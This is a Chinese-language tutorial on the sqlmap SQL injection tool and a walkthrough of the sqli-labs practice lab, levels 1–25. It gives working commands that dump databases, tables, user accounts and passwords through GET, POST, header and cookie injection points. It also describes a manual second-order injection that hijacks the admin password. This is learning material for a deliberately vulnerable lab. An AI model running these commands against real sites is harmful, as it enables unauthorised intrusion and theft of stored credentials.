Sqlmap基础与实战——Sdegree

一、sqlmap的安装与环境

这里是sqlmap的官网

https://sqlmap.org/

sqlmap是基于python开发的开源工具,所以需要下载python环境

这个是python官网

https://www.python.org/

为了方便在桌面创建一个快捷方式

img

当输入python sqlmap.py -h出现以下页面说明安装成功

img

二、一些sqlmap*基础命令***

1.清除sqlmap缓存

(这个相当于防止出现一些非预期,当我们用sqlmap对一个站点多次sql注入,在完成测试并修复后需要再次测试时,如果不删除之前的缓存,会使用原来的缓存记录,会导致我们无法判断修复是否有效。不过打CTF好像用不到QAQ,不过以后开发时会用到,就当养成好习惯。)方法:sqlmap.py --purge

2.sqlmap -u 注入点 检测注入点是否可用

sqlmap -u 注入点 –batch 自动输入

sqlmap -u 注入点 –dbs //暴库

Web当前使用的数据库

sqlmap -u 注入点 –current-db //爆当前使用的库

Web数据库使用的账户

sqlmap -u 注入点 –current-user //当前使用的账户

列出sqlserver所有用户

sqlmap -u 注入点 –users // 列出所有使用过的账户

数据库账户与密码

sqlmap -u 注入点 –passwords //mysql的登录账户和密码

列出数据库中的表

sqlmap -u 注入点 -D 指定数据库名 –tables //(-D指定数据库名称)

列出表中字段

sqlmap -u 注入点 -D 指定数据库名 -T 指定的表名 –columns

爆字段内容

sqlmap -u 注入点 -D 指定数据库名 -T 指定表名 -C “email,username,userpassword” –dump (将结果导出)

–risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

level:共有五个等级,默认为1,在我们不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

三、基本实战(sqli-labs)

Less1~9(get)

先查询id=1,发现有回显

img

查看数据库

sqlmap.py -u http://sqli-labs/Less-1/?id=1 --dbs

img

img

查看数据表

sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security --tables

img

查看列字段

查看security数据库下的users表里都有哪些字段

sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users --columns

img

查看列字段的具体值

查看security数据库下的users表里的id、password、username有哪些值

sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users --columns id,password,username --dump

img

注入成功QAQ

前九关可以说几乎都是一样的,直接sqlmap跑下?id=1注入点就搞定了.

Less10(get level)

sqlmap.py -u http://sqli-labs/Less-10/?id=1 -level=2 --dbs

就是比之前多了一个level提高一下等级默认是1

其它操作一样

Less11~15(post)

注入位置和之前不一样,之前都是GET的URL部分注入,现在这里需要用POST请求中的Payload进行注入。命令有一些变化,需要使用--data来定义payload的内容

sqlmap.py -u http://sqli-labs/Less-11/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

这五关原理相同

Less16(post level)

16比11~15多了等级其它都一样

sqlmap.py -u http://sqli-labs/Less-16/index.php --data "uname=1&passwd=11&submit=Submit" --dbs --level=2

Less17(post)

和11~15一样QAQ

Less18(User-Agent)

这关不太一样

注入位置在User-Agent中

sqlmap.py -u "http://sqli-labs/sqli-labs/Less-18/" --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs

Less19(Referer)

注入点位置就在Referer中

sqlmap.py -u "http://sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs

less20(Cookie)

注入点位置就在Cookie中

sqlmap.py -u http://sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs

Less21~22(Cookie+base64编码)

sqlmap.py -u http://sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"

Less23(get)

sqlmap -u http:///sqli-labs/Less-23/?id=1 --dbs

虽然方法一样,不过手动注入时的考点不一样,只能说工具是真的方便。

Less24(*二阶注入,****用不了QAQ)***

首页有登录和注册新用户的功能(忘记密码功能不能用)

点击New User click here?会进入注册用户的页面

输入正确的用户名和密码会进入修改用户密码的页面,比如以用户名admin,密码2登录

三个位置可能有sql语句,登录位置的select语句,新建用户的insert语句,修改密码的update语句。看看代码中这三个sql语句是否有预编译、编码、过滤等操作,以判断是否有注入可能。

登录位置代码:

mysql_real_escape_string()

函数转义 SQL 语句中使用的字符串中的特殊字符,这里select语句中用户名和密码都有单引号闭合,用户输入用这个函数处理之后无法闭合单引号,因此无注入点。

注册用户的代码:

insert语句的入参都经过了函数mysql_escape_string()的转义,没有注入点。

修改密码的代码:

update语句中的$pass和$curr_pass都是用户输入的参数,都经过转义了,但$username是从session中读取的,并且没有经过转义,因此有sql注入的可能。

username有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。比如,如果已知用户是admin,则新创建的用户应当是admin'#或者admin'-- s之类,使最终生效的sql语句为:UPDATE users SET PASSWORD='$pass' where username='admin'

所以这道题我们可以这样做:

注册新用户admin'#,密码随意

登录

修改密码为随便几个数字

登录就可以了

Less25(get)

sqlmap -u http://sqli-labs/Less-25/?id=1 --dbs

结语

sqli-labs一共75道题,后面的大部分都无法使用sqlmap。sqlmap工具真的好用,将这25题比较,明显会发现24这道不能使用sqlmap会麻烦很多。不过工具固然好用,今后碰到的大部分题目都过滤了sqlmap的语句,所以必要时还是需要手动注入的。